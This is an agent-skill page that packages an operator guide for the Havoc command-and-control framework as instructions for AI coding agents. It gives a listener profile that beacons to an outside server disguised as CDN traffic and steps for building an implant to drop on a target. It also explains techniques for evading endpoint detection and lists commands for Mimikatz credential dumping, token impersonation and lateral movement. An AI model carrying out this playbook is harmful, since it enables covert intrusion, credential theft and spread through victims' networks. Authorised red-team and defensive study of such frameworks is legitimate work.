# C2 Havoc

> Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.

- Skill: `purpleailab/c2-havoc` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/c2-havoc`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/c2-havoc/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: AI & ML
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/c2-havoc

---


# Havoc C2 Operator Skill

Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.

## Setup

```bash
# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build

# Or run via Docker
docker compose up -d
```

## Architecture

```
   ┌────────────┐       ┌─────────────┐       ┌──────────┐
   │ Operator   │ <───> │ Teamserver  │ <───> │ Demon    │
   │ (Client)   │  TS   │ (Go + gRPC) │  HTTP │ (Implant)│
   └────────────┘       └─────────────┘       └──────────┘
```

- **Teamserver**: Listens on operator port (40056 default) for clients; HTTP listener for demons.
- **Client**: Qt-based desktop UI (Material Dark).
- **Demon**: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.

## Configure a profile

Havoc uses a `profiles.yaotl` HCL-like config. Example for a low-OPSEC HTTP listener:

```hcl
Teamserver {
  Host = "0.0.0.0"
  Port = 40056
  Build {
    Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
    Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
    Nasm = "/usr/bin/nasm"
  }
}

Operators {
  user "op-alice" { Password = "strongpassword" }
}

Listeners {
  Http {
    Name      = "primary-http"
    Hosts     = ["op-server.com"]
    HostBind  = "0.0.0.0"
    PortBind  = 443
    PortConn  = 443
    Secure    = true
    HostRotation = "round-robin"
    Uris      = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"]   # blend with CDN traffic
    Headers   = ["X-Forwarded-For: 1.2.3.4"]
    UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  }
}
```

Then `./havoc server --profile profiles.yaotl -v`.

## Build a Demon

In the client UI:
1. Attack → Payload → Demon
2. Listener: select your HTTP listener
3. Arch: x64 / x86
4. Format: Windows Exe / Windows DLL / Shellcode
5. Sleep Technique: **Ekko** (queue user APC ROP chain) / **Zilean** (timer-based) / **FOLIAGE** (ROP-based)
6. Indirect Syscalls: **Enable** (resolves syscalls at runtime, bypasses static SSN hooks)
7. Save → drop on target

```bash
# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)
```

## What makes Havoc's OPSEC strong

### Sleep obfuscation (3 options)
- **Ekko**: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
- **Zilean**: timer-based variant.
- **FOLIAGE**: pure ROP chain, no Win32 timer dependency.

Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.

### Indirect syscalls
Most EDRs hook `NtAllocateVirtualMemory` etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.

Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.

### No static strings
All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. `strings demon.exe | grep -i shell` returns nothing.

### Module stomping
Demon module can be hidden by overwriting an existing legitimate module (`mscorlib.dll`, `clr.dll`).

## Common commands

```
> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords          # built-in Mimikatz wrap
> spawnas <user> <pass> <listener>         # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host>   # lateral movement
```

## Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike

| | Havoc | Sliver | Mythic | Cobalt Strike |
|---|---|---|---|---|
| **Sleep obfuscation** | Built-in (Ekko/Zilean/FOLIAGE) | None — needs BOF | Per-agent | Built-in (Sleep Mask) |
| **Indirect syscalls** | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) |
| **OPSEC defaults** | Strong | Fair | Per-agent | Excellent |
| **Modern UI** | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java |
| **Cross-platform implant** | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) |
| **License** | GPL OSS | GPL OSS | BSD OSS | Commercial $ |

## When to pick Havoc

- Windows-only engagement, need modern OPSEC out-of-the-box
- Cobalt Strike's price/license unavailable
- Operator team comfortable with Qt UI vs web
- Need indirect syscalls + sleep obfuscation without writing BOFs

When NOT to pick:
- Need cross-platform implant (Sliver/Mythic Poseidon better)
- Need a polished commercial UI for client-deliverable screenshots (CS still wins)
- Need mature OPSEC profile library (CS Malleable profile ecosystem is bigger)

## References

- Havoc Framework docs — havocframework.com
- C5pider's blog — c5pider.com (Ekko, Zilean writeups)
- "Modern C2 OPSEC" — Outflank training material
- Cobalt Strike Malleable profile guide (translates well to Havoc HTTP profile design)